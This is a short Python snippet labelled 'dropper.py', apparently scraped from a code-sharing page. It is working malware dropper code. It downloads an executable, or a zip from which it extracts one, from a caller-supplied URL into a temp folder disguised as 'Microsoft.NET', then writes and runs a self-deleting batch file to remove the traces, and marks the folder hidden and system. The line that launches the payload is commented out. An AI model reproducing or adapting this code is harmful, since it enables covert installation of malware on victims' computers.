dropper.py 文件源码

def fire_things_up(url,arch=False,zip=False):
    global pthhhh
    def work(zip):
        global pthhhh
        pthhhh = get_output("echo %temp%").strip()
        xx  = subprocess.Popen( 'mkdir "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh)
        if not zip:
            x   = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library.exe")
        elif zip:
            x   = urlretrieve(url,pthhhh+"\\Microsoft.NET\\library_data.zip")
            ##~Import-Here~##
            zip=zipfile.ZipFile(pthhhh+"\\Microsoft.NET\\library_data.zip")
            def get_exe_from(zip):
                for i in zip.namelist():
                    if i.endswith(".exe"):
                        return i
            f = open(pthhhh+"\\Microsoft.NET\\library.exe","wb")
            f.write( zip.read( get_exe_from(zip) ) )
            f.close()
            bat_data = '''@echo off\nbreak>library_data.zip\nDEL -f "library_data.zip"\nbreak>"%~f0" && DEL "%~f0" '''
            bat = open(pthhhh+"\\Microsoft.NET\\lolz_service.bat","w");bat.write(bat_data);bat.close()
            xxx = subprocess.Popen( pthhhh+"\\Microsoft.NET\\lolz_service.bat >> NUL",shell=True)

        #xx  = subprocess.Popen( "library.exe >> NUL",shell=True,cwd=pthhhh+"\\Microsoft.NET")
        xxx = subprocess.Popen( 'cd .. && attrib +s +h "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh+"\\Microsoft.NET")
    #check architecture
    if arch:
        if architecture()[0][:2] == arch: work(zip)
    else: work(zip)

#Someshit